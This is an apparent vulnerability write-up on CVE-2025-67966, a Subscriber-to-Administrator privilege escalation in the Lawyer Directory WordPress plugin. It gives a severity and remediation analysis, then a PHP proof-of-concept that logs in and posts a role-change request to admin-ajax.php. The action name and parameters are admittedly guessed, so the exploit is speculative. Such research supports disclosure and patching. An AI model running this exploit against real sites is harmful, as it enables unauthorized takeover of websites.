Atomic Edge analysis of CVE-2025-67966 (metadata-based):
The Lawyer Directory WordPress plugin version 1.3.3 and earlier contains an authenticated privilege escalation vulnerability. Attackers with Subscriber-level access or higher can exploit this flaw to elevate their privileges to Administrator. The CVSS 3.1 score of 8.8 (High) reflects the network-accessible attack vector, low attack complexity, and complete compromise of confidentiality, integrity, and availability.
CWE-266, Incorrect Privilege Assignment, indicates the plugin likely assigns administrative capabilities to lower-privileged users or fails to validate user permissions before performing privileged actions. Atomic Edge research infers the vulnerability exists in an AJAX handler, REST API endpoint, or administrative function that processes user-supplied data without proper capability checks. The description confirms authenticated attackers can escalate privileges, but the exact code path remains unconfirmed without source code.
Exploitation likely involves sending a crafted HTTP request to a specific plugin endpoint. Attackers would authenticate as a Subscriber, then target an AJAX action (e.g., via /wp-admin/admin-ajax.php) or REST route (e.g., /wp-json/lawyer-directory/v1/) that modifies user roles or capabilities. The payload could contain parameters like user_id, role, or capability set to administrator values. No nonce verification may be required, or a nonce may be bypassable.
Remediation requires implementing proper capability checks before executing privileged operations. The patched version 1.3.4 likely added current_user_can() checks for administrative capabilities (e.g., manage_options) or specific plugin permissions. The fix should also validate nonces for state-changing actions and ensure user input cannot directly modify role assignments.
Successful exploitation grants attackers full administrative control over the WordPress site. Attackers can create new administrator accounts, modify plugin settings, inject malicious code, access sensitive data, and potentially achieve remote code execution by editing theme or plugin files. This compromises the entire site’s security and integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67966 - Lawyer Directory <= 1.3.3 - Authenticated (Subscriber+) Privilege Escalation
<?php
/**
* Proof of Concept for CVE-2025-67966
* ASSUMPTIONS (inferred from CWE and description):
* 1. The plugin exposes an AJAX endpoint vulnerable to privilege escalation.
* 2. The endpoint lacks proper capability checks, allowing Subscribers to modify user roles.
* 3. The action parameter likely contains 'lawyer_directory' or similar plugin prefix.
* 4. The attacker can supply a user ID and target role parameter.
*/
$target_url = 'https://victim-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // Attacker's Subscriber username
$password = 'subscriber_pass'; // Attacker's password
// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Step 2: Send privilege escalation payload to AJAX endpoint
// Inferred action name based on plugin slug 'lawyer-directory'
$action_name = 'lawyer_directory_update_role'; // ASSUMED action parameter
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action_name,
'user_id' => '1', // Target user ID (often 1 for admin)
'new_role' => 'administrator', // Role to assign
// Nonce parameter may be required but could be bypassed
'_wpnonce' => '' // Placeholder for potential nonce
]),
CURLOPT_HEADER => false
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Response:n" . $ajax_response . "n";
// Check response for success indicators like 'success' or role update messages
?>
